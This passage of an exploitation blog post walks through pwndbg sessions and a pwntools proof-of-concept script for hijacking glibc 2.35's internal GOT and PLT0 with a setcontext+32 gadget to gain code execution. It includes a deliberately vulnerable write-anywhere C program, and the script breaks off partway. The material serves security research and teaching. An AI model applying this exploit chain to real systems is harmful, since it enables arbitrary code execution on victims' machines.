  • Old value 0x401036 → points back into PLT stub (printf@plt+6).
  • New value 0x7ffff7e29550 (-136145584) → points to the actual printf() implementation inside libc.

The watchpoint is triggered near the dynamic resolver code:

  0x7ffff7fd68ad    test   edx, edx
  0x7ffff7fd68af    jne    0x7ffff7fd68b4              <0x7ffff7fd68b4>

0x7ffff7fd68b1    mov    qword ptr [r14], rax               [printf@got[plt]] <= 0x7ffff7e29550 (printf) ◂— sub rsp, 0xd8
  0x7ffff7fd68b4    lea    rsp, [rbp - 0x28]                  RSP => 0x7fffffffd248 —▸ 0x7fffffffd640 —▸ 0x7fffffffd788 ◂— ...
  0x7ffff7fd68b8    pop    rbx                                RBX => 0x7fffffffd640

At 0x7ffff7fd68b1, the resolved address (rax) is written into [r14], where r14 points to the GOT entry for printf, namely printf@got[plt] (.got.plt.printf):

pwndbg> set $lastpc = $pc

pwndbg> si

pwndbg> x/i $lastpc
  0x7ffff7fd68b1:      mov    QWORD PTR [r14],rax

pwndbg> x/gx 0x404000
0x404000 <printf@got[plt]>:     0x00007ffff7e29550

pwndbg> tel 0x7ffff7e29550
00:0000rax r11 0x7ffff7e29550 (printf) ◂— sub rsp, 0xd8
01:00080x7ffff7e29558 (printf+8) ◂— mov dword ptr [rsp + 0x28], esi
02:00100x7ffff7e29560 (printf+16) ◂— xor byte ptr [rax - 0x77], cl

We are now at the real libc printf code — printf() function from /libc.so.6.

Ordinarily, a discussion on GOT ends here—once the dynamic linker patches the entry and control flows cleanly into glibc.

But not in our case.

This is where the real hunt begins.

In our setup, we deal with two distinct _GLOBAL_OFFSET_TABLE_ instances:

  • One anchored in the ELF binary—used for resolving external symbols like printf.
  • Another embedded within glibc itself—used internally by glibc's own machinery during function execution.

So instead of wrapping up after the GOT patching, we shift gears and dive into the internals of printf(), observing how it leverages its own GOT to reference auxiliary libc functions—this is where glibc's internal GOT becomes a new attack surface.

Part 2

As previously noted, we have two distinct _GLOBAL_OFFSET_TABLE_ symbols:

pwndbg> info variables _GLOBAL_OFFSET_TABLE_
All variables matching regular expression "_GLOBAL_OFFSET_TABLE_":

Non-debugging symbols:
0x0000000000403fe8  _GLOBAL_OFFSET_TABLE_
0x00007ffff7fadfe8  _GLOBAL_OFFSET_TABLE_

The second table resides in glibc's mapped memory region:

pwndbg> vmmap 0x7ffff7fadfe8
  Start                End Perm     Size Offset File
  0x7ffff7f53000     0x7ffff7faa000 r--p    57000 17e000 /opt/glibc-2.41/lib/libc.so.6
► 0x7ffff7faa000     0x7ffff7fae000 r--p     4000 1d4000 /opt/glibc-2.41/lib/libc.so.6 +0x3fe8
  0x7ffff7fae000     0x7ffff7fb0000 rw-p     2000 1d8000 /opt/glibc-2.41/lib/libc.so.6

This confirms that glibc maintains its own GOT—mirroring the program's layout but scoped for internal resolution. The glibc GOT is populated with:

  • Linker metadata (e.g., relocation support) at GOT0.
  • Followingly, there're function pointers to optimized routines (__memcpy_avx_unaligned_erms, __strnlen_avx2, etc.) at the GOT entries.
  • Occasionally, PLT stubs, until patched by the dynamic linker

Just like the binary's GOT, these entries start out unresolved or redirected to trampoline logic. On first execution, they're rewritten to jump directly to optimized libc functions.

Now let's dump the GOT starting from 0x7ffff7fadfe8, which contains 57 entries in glibc 2.41:

pwndbg> tel 0x7ffff7fadfe8 60
00:00000x7ffff7fadfe8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d8b40
01:00080x7ffff7fadff0 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbe090 —▸ 0x7ffff7dd5000 ◂— 0x3010102464c457f
02:00100x7ffff7fadff8 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8c60 ◂— endbr64
03:00180x7ffff7fae000 (*ABS*@got.plt) —▸ 0x7ffff7f2f8e0 (__strnlen_avx2) ◂— test rsi, rsi
04:00200x7ffff7fae008 (realloc@got[plt]) —▸ 0x7ffff7df9026 (realloc@plt+6) ◂— push 0 /* 'h' */
05:00280x7ffff7fae010 (*ABS*@got.plt) —▸ 0x7ffff7f2de80 (__strncasecmp_avx2) ◂— mov rax, qword ptr [rip + 0x800d1]
06:00300x7ffff7fae018 (*ABS*@got.plt) —▸ 0x7ffff7f2af70 (__mempcpy_avx_unaligned_erms) ◂— mov rax, rdi
07:00380x7ffff7fae020 (*ABS*@got.plt) —▸ 0x7ffff7e7bf90 (__wmemset_sse2_unaligned) ◂— shl rdx, 2
08:00400x7ffff7fae028 (calloc@got[plt]) —▸ 0x7ffff7df9066 (calloc@plt+6) ◂— push 1
09:00480x7ffff7fae030 (*ABS*@got.plt) —▸ 0x7ffff7f300c0 (__wcpncpy_avx2) ◂— dec rdx
0a:00500x7ffff7fae038 (*ABS*@got.plt) —▸ 0x7ffff7f4d3a0 (__strspn_sse42) ◂— cmp byte ptr [rsi], 0
0b:00580x7ffff7fae040 (*ABS*@got.plt) —▸ 0x7ffff7f2a5c0 (__memchr_avx2) ◂— test rdx, rdx
0c:00600x7ffff7fae048 (*ABS*@got.plt) —▸ 0x7ffff7f2afc0 (__memmove_avx_unaligned_erms) ◂— mov rax, rdi
0d:00680x7ffff7fae050 (*ABS*@got.plt) —▸ 0x7ffff7f32900 (__wmemchr_avx2) ◂— test rdx, rdx
0e:00700x7ffff7fae058 (*ABS*@got.plt) —▸ 0x7ffff7f2bcc0 (__stpcpy_avx2) ◂— vpxor xmm7, xmm7, xmm7
0f:00780x7ffff7fae060 (*ABS*@got.plt) —▸ 0x7ffff7f32bc0 (__wmemcmp_avx2_movbe) ◂— shl rdx, 2
10:00800x7ffff7fae068 ([email protected]) —▸ 0x7ffff7df90e6 (_dl_find_dso_for_object@plt+6) ◂— push 2
11:00880x7ffff7fae070 (*ABS*@got.plt) —▸ 0x7ffff7f2f440 (__strncpy_avx2) ◂— dec rdx
12:00900x7ffff7fae078 (*ABS*@got.plt) —▸ 0x7ffff7f2dd00 (__strlen_avx2) ◂— mov eax, edi
13:00980x7ffff7fae080 (*ABS*@got.plt) —▸ 0x7ffff7f30590 (__wcscat_avx2) ◂— vpxor xmm7, xmm7, xmm7
14:00a0│  0x7ffff7fae088 (*ABS*@got.plt) —▸ 0x7ffff7f2c440 (__strcasecmp_l_avx2) ◂— mov rax, qword ptr [rdx]
15:00a8│  0x7ffff7fae090 (*ABS*@got.plt) —▸ 0x7ffff7f2dad0 (__strcpy_avx2) ◂— vpxor xmm7, xmm7, xmm7
16:00b0│  0x7ffff7fae098 (*ABS*@got.plt) —▸ 0x7ffff7f30880 (__wcschr_avx2) ◂— vmovd xmm0, esi
17:00b8│  0x7ffff7fae0a0 ([email protected]) —▸ 0x7ffff7df9156 (_dl_deallocate_tls@plt+6) ◂— push 3
18:00c0│  0x7ffff7fae0a8 ([email protected]) —▸ 0x7ffff7df9166 (__tls_get_addr@plt+6) ◂— push 4
19:00c8│  0x7ffff7fae0b0 (*ABS*@got.plt) —▸ 0x7ffff7e7bf90 (__wmemset_sse2_unaligned) ◂— shl rdx, 2
1a:00d0│  0x7ffff7fae0b8 (*ABS*@got.plt) —▸ 0x7ffff7f2a860 (__memcmp_avx2_movbe) ◂— cmp rdx, 0x20
1b:00d8│  0x7ffff7fae0c0 (*ABS*@got.plt) —▸ 0x7ffff7f2d380 (__strchrnul_avx2) ◂— vmovd xmm0, esi
1c:00e00x7ffff7fae0c8 (*ABS*@got.plt) —▸ 0x7ffff7f2de90 (__strncasecmp_l_avx2) ◂— mov rax, qword ptr [rcx]
1d:00e80x7ffff7fae0d0 ([email protected]) —▸ 0x7ffff7df91b6 (_dl_signal_error@plt+6) ◂— push 5
1e:00f0│  0x7ffff7fae0d8 ([email protected]) —▸ 0x7ffff7df91c6 (_dl_fatal_printf@plt+6) ◂— push 6
1f:00f8│  0x7ffff7fae0e0 (*ABS*@got.plt) —▸ 0x7ffff7f2ce30 (__strcat_avx2) ◂— vpxor xmm7, xmm7, xmm7
20:01000x7ffff7fae0e8 (*ABS*@got.plt) —▸ 0x7ffff7f30fd0 (__wcscpy_avx2) ◂— vpxor xmm7, xmm7, xmm7
21:01080x7ffff7fae0f0 (*ABS*@got.plt) —▸ 0x7ffff7f4a700 (__strcspn_sse42) ◂— cmp byte ptr [rsi], 0
22:01100x7ffff7fae0f8 (*ABS*@got.plt) —▸ 0x7ffff7f2c430 (__strcasecmp_avx2) ◂— mov rax, qword ptr [rip + 0x81b21]
23:01180x7ffff7fae100 (*ABS*@got.plt) —▸ 0x7ffff7f2ede0 (__strncmp_avx2) ◂— cmp rdx, 1
24:01200x7ffff7fae108 (*ABS*@got.plt) —▸ 0x7ffff7f32900 (__wmemchr_avx2) ◂— test rdx, rdx
25:01280x7ffff7fae110 ([email protected]) —▸ 0x7ffff7df9236 (_dl_signal_exception@plt+6) ◂— push 7
26:01300x7ffff7fae118 (*ABS*@got.plt) —▸ 0x7ffff7f2bf40 (__stpncpy_avx2) ◂— dec rdx
27:01380x7ffff7fae120 (*ABS*@got.plt) —▸ 0x7ffff7f30ac0 (__wcscmp_avx2) ◂— vpxor xmm15, xmm15, xmm15
28:01400x7ffff7fae128 ([email protected]) —▸ 0x7ffff7df9266 (_dl_audit_symbind_alt@plt+6) ◂— push 8
29:01480x7ffff7fae130 (*ABS*@got.plt) —▸ 0x7ffff7f2fbb0 (__strrchr_avx2) ◂— vmovd xmm7, esi
2a:01500x7ffff7fae138 (*ABS*@got.plt) —▸ 0x7ffff7f2d140 (__strchr_avx2) ◂— vmovd xmm0, esi
2b:01580x7ffff7fae140 ([email protected]) —▸ 0x7ffff7df9296 (__tunable_is_initialized@plt+6) ◂— push 9 /* 'h\t' */
2c:01600x7ffff7fae148 (*ABS*@got.plt) —▸ 0x7ffff7f30880 (__wcschr_avx2) ◂— vmovd xmm0, esi
2d:01680x7ffff7fae150 (*ABS*@got.plt) —▸ 0x7ffff7f2afc0 (__memmove_avx_unaligned_erms) ◂— mov rax, rdi
2e:01700x7ffff7fae158 (*ABS*@got.plt) —▸ 0x7ffff7f31e80 (__wcsncpy_avx2) ◂— dec rdx
2f:01780x7ffff7fae160 ([email protected]) —▸ 0x7ffff7df92d6 (_dl_rtld_di_serinfo@plt+6) ◂— push 0xa /* 'h\n' */
30:01800x7ffff7fae168 (*ABS*@got.plt) —▸ 0x7ffff7f2b6c0 (__memrchr_avx2) ◂— test rdx, rdx
31:01880x7ffff7fae170 ([email protected]) —▸ 0x7ffff7df92f6 (_dl_allocate_tls@plt+6) ◂— push 0xb /* 'h\x0b' */
32:01900x7ffff7fae178 ([email protected]) —▸ 0x7ffff7fd9590 (__tunable_get_val) ◂— endbr64
33:01980x7ffff7fae180 (*ABS*@got.plt) —▸ 0x7ffff7f31200 (__wcslen_avx2) ◂— mov eax, edi
34:01a0│  0x7ffff7fae188 (*ABS*@got.plt) —▸ 0x7ffff7f2b9c0 (__memset_avx2_unaligned_erms) ◂— vmovd xmm0, esi
35:01a8│  0x7ffff7fae190 (*ABS*@got.plt) —▸ 0x7ffff7f322e0 (__wcsnlen_avx2) ◂— test rsi, rsi
36:01b0│  0x7ffff7fae198 ([email protected]) —▸ 0x7ffff7df9346 (_dl_catch_exception@plt+6) ◂— push 0xd /* 'h\r' */
37:01b8│  0x7ffff7fae1a0 (*ABS*@got.plt) —▸ 0x7ffff7f2d570 (__strcmp_avx2) ◂— vpxor xmm15, xmm15, xmm15
38:01c0│  0x7ffff7fae1a8 ([email protected]) —▸ 0x7ffff7df9366 (_dl_allocate_tls_init@plt+6) ◂— push 0xe
39:01c8│  0x7ffff7fae1b0 (*ABS*@got.plt) —▸ 0x7ffff7f4d2a0 (__strpbrk_sse42) ◂— cmp byte ptr [rsi], 0
3a:01d0│  0x7ffff7fae1b8 ([email protected]) —▸ 0x7ffff7fde7e0 (_dl_audit_preinit) ◂— endbr64
3b:01d8│  0x7ffff7fae1c0 (*ABS*@got.plt) —▸ 0x7ffff7f2f8e0 (__strnlen_avx2) ◂— test rsi, rsi

Most entries point either to optimized glibc functions (avx2, sse2 versions) or to dynamic linker utilities (functions starting with _dl_*). And we can tell:

  • Some entries are already resolved (point to final function code like __strnlen_avx2, __memcmp_avx2, etc.)
  • Some entries are not yet resolved (they still point into PLT stubs like realloc@plt+6, calloc@plt+6).

Some examples:

EntryStatusWhy
__strnlen_avx2Already resolvedFast string function
__mempcpy_avx_unaligned_ermsAlready resolvedCritical for memcpy
realloc@got[plt]Still points to realloc@plt+6Lazy resolve when realloc is first called
_dl_signal_error@got[plt]Still points to PLTOnly needed if there is a dynamic linking error

When we call printf(), it's not just a flat function—details can be referred to the post of House of Husk, which introduces how to pwn printf with its internal calls.

In our case, after the GOT relocation completes, we step into the freshly resolved printf—and this is where glibc's internal GOT takes over. The call graph unfolds cleanly:

#0  __strchrnul_avx2 ()
#1  __find_specmb (format="%d\n") at printf-parse.h:82
#2  __printf_buffer (format="%d\n") at vfprintf-internal.c:649
#3  __vfprintf_internal
#4  __printf
#5  main

Inside, __find_specmb calls __strchrnul_avx2, which is an internal optimized function inside glibc. AVX2 instructions are optimized for scanning memory blocks very fast — it processes 32 bytes at once instead of 1 byte at a time.

What's key here is that printf doesn't invoke __strchrnul_avx2 directly. Instead, it jumps through a PLT stub (*ABS*+0xa0c70@plt) embedded within glibc:

0x7ffff7df9190 <*ABS*+0xa0c70@plt>      jmp    qword ptr [rip + 0x1b4f2a]  <__strchrnul_avx2>

  0x7ffff7f2d380 <__strchrnul_avx2>       vmovd  xmm0, esi
  0x7ffff7f2d384 <__strchrnul_avx2+4>     mov    eax, edi             EAX => 0x402004 ◂— 0x3b031b01000a6425 /* '%d\n' */
  0x7ffff7f2d386 <__strchrnul_avx2+6>     and    eax, 0xfff           EAX => 4 (0x402004 & 0xfff)
  0x7ffff7f2d38b <__strchrnul_avx2+11>    vpbroadcastb ymm0, xmm0
  0x7ffff7f2d390 <__strchrnul_avx2+16>    vpxor  xmm1, xmm1, xmm1
  0x7ffff7f2d394 <__strchrnul_avx2+20>    cmp    eax, 0xfe0
  0x7ffff7f2d399 <__strchrnul_avx2+25>    ja     __strchrnul_avx2+432        <__strchrnul_avx2+432>
  [...]

In our previous dump from glibc's _GLOBAL_OFFSET_TABLE_, we saw this:

1b:00d8│  0x7ffff7fae0c0 (*ABS*@got.plt) —▸ 0x7ffff7f2d380 (__strchrnul_avx2) ◂— vmovd xmm0, esi

Thus inside glibc, .got.plt has a pointer to __strchrnul_avx2, resolved and pointing to its real address 0x7ffff7f2d380:

pwndbg> info address __strchrnul_avx2
Symbol "__strchrnul_avx2" is a function at address 0x7ffff7f2d380.

This clearly demonstrates that at runtime, libc functions such as printf, strlen, and others often invoke internal optimized routines—like __strchrnul_avx2indirectly through glibc's own GOT entries. This design enables flexible dispatching, efficient runtime resolution, and platform-specific optimizations (e.g., AVX2, SSE).

Crucially, it opens a door:

Hijacking glibc's internal GOT entries—such as the one for __strchrnul_avx2grants arbitrary code execution, by rerouting internal libc control flow to an attacker-chosen address.

No need to tamper with userland hooks or weak binary protections—glibc becomes the pivot point. Once write access to its GOT is achieved (e.g., in glibc ≤2.38), even a single redirected pointer can trigger full compromise from within the fortress.

PoCs

In this section, I will dissect more details in PoC 1, building on insights from a stellar dissertation by Veritas—while stripping away repeated explanations in the rest of the PoCs.

Vuln Code

To start with, we can try to exploit this minimal vulnerable snippet:

C
#include <stdio.h>
#include <unistd.h>

int main() {
    char *addr = 0;
    size_t len = 0;
    printf("%p\n", printf);
    read(0, &addr, 8);
    read(0, &len, 8);
    read(0, addr, len);
    printf("Printf executed!");
}

The logic is dangerously straightforward:

  • The line printf("%p\n", printf) leaks the runtime address of printf, giving us a libc base.
  • The triple read() sequence hands over:
    • A target address (addr)
    • A write length (len)
    • And a payload to be written into that address

This creates a textbook write-anywhere primitive—ideal for GOT overwrites.

Our goal is to use this write primitive to overwrite glibc GOT entry, achieving arbitrary code execution when glibc invokes that function.

PoC 1

For PoC 1, we execute the attack in a glibc 2.35 environment, confirmed with:

$ /usr/lib/x86_64-linux-gnu/libc.so.6

GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Setcontext+32

We previously introduced the setcontext gadget—commonly used in ROP—in this post. Typically, the setcontext+61 gadget is used to pivot the stack and return to a controlled location via manipulation of the rdx register.

Here, we use the setcontext+32 variant, which begins with a pop rdx instruction:

pwndbg> disass setcontext
Dump of assembler code for function setcontext:
   [...]
   0x00007ffff7de1a00 <+32>:    pop    rdx
   0x00007ffff7de1a01 <+33>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7de1a07 <+39>:    jae    0x7ffff7de1b2f <setcontext+335>
   0x00007ffff7de1a0d <+45>:    mov    rcx,QWORD PTR [rdx+0xe0]
   0x00007ffff7de1a14 <+52>:    fldenv [rcx]
   0x00007ffff7de1a16 <+54>:    ldmxcsr DWORD PTR [rdx+0x1c0]
   0x00007ffff7de1a1d <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
   0x00007ffff7de1a24 <+68>:    mov    rbx,QWORD PTR [rdx+0x80]
   0x00007ffff7de1a2b <+75>:    mov    rbp,QWORD PTR [rdx+0x78]
   0x00007ffff7de1a2f <+79>:    mov    r12,QWORD PTR [rdx+0x48]
   0x00007ffff7de1a33 <+83>:    mov    r13,QWORD PTR [rdx+0x50]
   0x00007ffff7de1a37 <+87>:    mov    r14,QWORD PTR [rdx+0x58]
   0x00007ffff7de1a3b <+91>:    mov    r15,QWORD PTR [rdx+0x60]
   0x00007ffff7de1a3f <+95>:    test   DWORD PTR fs:0x48,0x2
   0x00007ffff7de1a4b <+107>:   je     0x7ffff7de1b06 <setcontext+294>
   [...fsb]
   0x00007ffff7de1b06 <+294>:   mov    rcx,QWORD PTR [rdx+0xa8]
   0x00007ffff7de1b0d <+301>:   push   rcx
   0x00007ffff7de1b0e <+302>:   mov    rsi,QWORD PTR [rdx+0x70]
   0x00007ffff7de1b12 <+306>:   mov    rdi,QWORD PTR [rdx+0x68]
   0x00007ffff7de1b16 <+310>:   mov    rcx,QWORD PTR [rdx+0x98]
   0x00007ffff7de1b1d <+317>:   mov    r8,QWORD PTR [rdx+0x28]
   0x00007ffff7de1b21 <+321>:   mov    r9,QWORD PTR [rdx+0x30]
   0x00007ffff7de1b25 <+325>:   mov    rdx,QWORD PTR [rdx+0x88]
   0x00007ffff7de1b2c <+332>:   xor    eax,eax
   0x00007ffff7de1b2e <+334>:   ret
   0x00007ffff7de1b2f <+335>:   mov    rcx,QWORD PTR [rip+0x1c52da]        # 0x7ffff7fa6e10
   0x00007ffff7de1b36 <+342>:   neg    eax
   0x00007ffff7de1b38 <+344>:   mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7de1b3b <+347>:   or     rax,0xffffffffffffffff
   0x00007ffff7de1b3f <+351>:   ret
End of assembler dump.

Why this gadget is used will be explained in the next section when exploiting PLT0.

Inspection

As observed during our debugging session, the printf implementation in glibc internally dispatches to the optimized __strchrnul_avx2 routine for parsing format strings. However, this call is not made directly—instead, glibc routes the control through its internal PLT stub, illustrated below:

0x7ffff7db64d0 <*ABS*+0xab010@plt>       endbr64
  0x7ffff7db64d4 <*ABS*+0xab010@plt+4>     bnd jmp qword ptr [rip + 0x1f0bdd]   <__strchrnul_avx2>

  0x7ffff7f2b600 <__strchrnul_avx2>        endbr64
  0x7ffff7f2b604 <__strchrnul_avx2+4>      vmovd  xmm0, esi
  0x7ffff7f2b608 <__strchrnul_avx2+8>      mov    eax, edi
  0x7ffff7f2b60a <__strchrnul_avx2+10>     and    eax, 0xfff
  0x7ffff7f2b60f <__strchrnul_avx2+15>     vpbroadcastb ymm0, xmm0
  0x7ffff7f2b614 <__strchrnul_avx2+20>     vpxor  xmm9, xmm9, xmm9
  0x7ffff7f2b619 <__strchrnul_avx2+25>     cmp    eax, 0xfe0
  0x7ffff7f2b61e <__strchrnul_avx2+30>     ja     __strchrnul_avx2+464                <__strchrnul_avx2+464>

  0x7ffff7f2b7d0 <__strchrnul_avx2+464>    mov    rdx, rdi

The actual destination of __strchrnul_avx2 is resolved through GOT entry (_GLOBAL_OFFSET_TABLE_+0xb8):

pwndbg> info variables _GLOBAL_OFFSET_TABLE_
All variables matching regular expression "_GLOBAL_OFFSET_TABLE_":

Non-debugging symbols:
0x0000555555557fe8  _GLOBAL_OFFSET_TABLE_
0x00007ffff7ffd000  _GLOBAL_OFFSET_TABLE_
0x00007ffff7fa7000  _GLOBAL_OFFSET_TABLE_

pwndbg> vmmap 0x00007ffff7fa7000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x7ffff7fa3000     0x7ffff7fa7000 r--p     4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6
►   0x7ffff7fa7000     0x7ffff7fa9000 rw-p     2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x0
    0x7ffff7fa9000     0x7ffff7fb6000 rw-p     d000      0 [anon_7ffff7fa9]
    
pwndbg> tel 0x7ffff7fa7000 60
00:0000│  0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│  0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│  0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
[...]
17:00b8│  0x7ffff7fa70b8 (*ABS*@got.plt) —▸ 0x7ffff7f2b600 (__strchrnul_avx2) ◂— endbr64
[...]

And critically, in glibc 2.35, the entire _GLOBAL_OFFSET_TABLE_—including GOT0 and the following GOT entries—is writable:

Starting with glibc 2.36, the memory protection model changes: GOT0 is no longer writable, while individual GOT function entries remain writable.

This means the technique described below—relying on overwriting GOT0 for hijacking resolution paths—no longer applies in post-2.36 environments.

We will explore alternative approaches adapted to this constraint in a later section.

Therefore, the writable GOT in glibc can be leveraged in our attack!

We can examine the assembly code of glibc's PLT0 stub directly in GDB:

pwndbg> info files
Symbols from "/home/ctf/hacker/vuln".
Native process:
        Using the running image of child Thread 0x7ffff7d8b740 (LWP 670).
        While running this, GDB does not access memory from...
Local exec file:
        `/home/ctf/hacker/vuln', file type elf64-x86-64.
        Entry point: 0x555555555060
        [...]
        0x0000555555555020 - 0x0000555555555050 is .plt
        [...]
        0x00007ffff7db6000 - 0x00007ffff7db6370 is .plt in /lib/x86_64-linux-gnu/libc.so.6
        [...]

pwndbg> x/2i 0x7ffff7db6000
   0x7ffff7db6000:      push   QWORD PTR [rip+0x1f1002]        # 0x7ffff7fa7008
   0x7ffff7db6006:      bnd jmp QWORD PTR [rip+0x1f1003]        # 0x7ffff7fa7010

Here, 0x7ffff7db6000 is the first entry of the PLT table in glibc—known as PLT0. This stub handles lazy binding resolution for all internal glibc PLT calls.

As introduced in previous sections, [rip+0x1f1002] and [rip+0x1f1003] points to _GLOBAL_OFFSET_TABLE_+8 (pointer to resolver argument) and _GLOBAL_OFFSET_TABLE_+0x10 (pointer to _dl_runtime_resolve_xsavec) respectively—if we hijack the memory locations in GOT0, we control the execution flow.

The PLT code snippet for libc looks different than the one for normal user binary (while their PLT0 logic is exactly the same).

PLT in normal user binary:

0000000000401030 <printf@plt>:
jmp    QWORD PTR [rip + 0x2fca]      ; jumps to GOT entry
push   0x0                           ; relocation index
jmp    0x401020                      ; jump to PLT0

PLT in glibc:

pwndbg> x/6i 0x7ffff7db6000+0x4d0
0x7ffff7db64d0 <*ABS*+0xab010@plt>:  endbr64
0x7ffff7db64d4 <*ABS*+0xab010@plt+4>:        bnd jmp QWORD PTR [rip+0x1f0bdd]        # 0x7ffff7fa70b8 <*ABS*@got.plt>
0x7ffff7db64db <*ABS*+0xab010@plt+11>:       nop    DWORD PTR [rax+rax*1+0x0]

Glibc's PLT entries do NOT jump to PLT0 like user binaries do — no push for relocation index; no fallback jump to a PLT0 stub. Because these are statically pre-resolved — either at load time or by prelinking (for internal functions).

The push + jmp logic in PLT0 is exactly why we use the setcontext+32 gadget starting with pop rdx—when PLT0 pushes _GLOBAL_OFFSET_TABLE_+8 onto the stack, we subsequently use the gadget to pop it into rdx, eventually giving us control over execution flow.

Attack Chain

The full attack chain is:

  1. Overwrite [email protected] → point to plt0
    • Normally, [email protected] points to __strchrnul_avx2.
    • Overwrite it to point to PLT0 stub at .plt (aka [email protected] = plt0_addr).
    • So any indirect call to strchrnul() will instead enter plt0.
  2. Hijack _GLOBAL_OFFSET_TABLE_ + 0x10 → point to setcontext+32
    • _GLOBAL_OFFSET_TABLE_ + 0x10 normally points to _dl_runtime_resolve_xsavec.
    • Overwrite this to point to setcontext+32, starting with pop rdx.
  3. Overwrite _GLOBAL_OFFSET_TABLE_ + 0x8 → point to a fake context buffer
    • Normally, GOT+8 points to a resolver argument (a link_map structure?), which locates at a higher memory address than GOT entries.
    • Overwrite it to point to a fake ucontext_t in a writable memory region (e.g., unused buffer below .got.plt).
  4. Prepare a fake context buffer at the controlled region
    • This fake ucontext_t structure should populate:
      • Registers (rdi, rsi, etc.)
      • Stack pointer (rsp)
      • Return address (rip) → shellcode, one_gadget, etc.
    • The layout must match setcontext() expectations.
  5. Trigger the attack by calling printf()
    • printf() internally uses strchrnul() (especially for format strings like %p, %s, etc.).
    • Since [email protected] was hijacked to point to PLT0, it will now:
      • Execute PLT0, which does:
        • push [GOT + 0x08]: fake context address as argument
        • jmp [GOT + 0x10]: execute setcontext+32 gadget
      • setcontext(fake_context) → RIP control achieved.

Keywords: setcontext, ucontext_t, context buffer

1st, setcontext() is a libc function that restores a saved CPU context from a ucontext_t structure.

It does:

  • Loads saved registers (e.g., rip, rsp, rdi, rsi, rdx, r12, r13, etc.)
  • Sets FPU/SIMD state
  • Restores stack pointer and instruction pointer
  • Resumes execution as if coming from that context

Used normally for user-level context switching, but attackers use it to jump to arbitrary code with full register control.

2nd, ucontext_t is a struct defined in <ucontext.h>, containing:

C
typedef struct ucontext {
    unsigned long uc_flags;
    struct ucontext *uc_link;   // not important for exploit
    sigset_t uc_sigmask;
    stack_t uc_stack;
    mcontext_t uc_mcontext;     // <== holds all registers
    ...
} ucontext_t;

Inside uc_mcontext, we'll find:

C
typedef struct {
    gregset_t gregs;
    fpregset_t fpregs;
    unsigned long long __reserved1[8];
} mcontext_t;

And gregset_t is usually an array:

C
typedef long greg_t;
#define NGREG 23
typedef greg_t gregset_t[NGREG];

Registers like RIP, RSP, RDI, etc., are stored as elements of uc_mcontext.gregs[] — each register has a fixed index in that array.

3rd, attackers craft a fake ucontext_t-like buffer in memory. Then we call setcontext(fake_ptr), which restores all registers from this buffer:

C
int setcontext(const ucontext_t *ucp);

PoC Script

Download: link

Python
# Title       : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author      : Axura
# Target      : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website     : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags        : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, setcontext


import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)
    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")

    
def create_ucontext(src: int, *, r8=0, r9=0, r12=0, r13=0, r14=0, r15=0,
                    rdi=0, rsi=0, rbp=0, rbx=0, rdx=0, rcx=0,
                    rsp=0, rip=0xdeadbeef) -> bytearray:
    b = flat({
        0x28: r8,
        0x30: r9,
        0x48: r12,
        0x50: r13,
        0x58: r14,
        0x60: r15,
        0x68: rdi,
        0x70: rsi,
        0x78: rbp,
        0x80: rbx,
        0x88: rdx,
        0x98: rcx,
        0xA0: rsp,
        0xA8: rip,  # ret ptr
        0xE0: src,  # fldenv ptr
        0x1C0: 0x1F80,  # ldmxcsr
    }, filler=b'\0', word_size=64)
    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    """int setcontext(const ucontext_t *ucp);"""
    global GOT_ET_COUNT

    got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    pa(got0)
    pa(plt0)

    write_dest = got0 + 8
    context_dest = write_dest + 0x10 + GOT_ET_COUNT * 8
    
    write_data = flat(
        context_dest,               # _GLOBAL_OFFSET_TABLE_+8   ->  ucontext_t *ucp
        libc.sym.setcontext + 32,   # _GLOBAL_OFFSET_TABLE_+16  ->  setcontext+32 gadget
        [plt0] * GOT_ET_COUNT,
        create_ucontext(context_dest, rsp=libc.sym.environ+8, **kwargs),
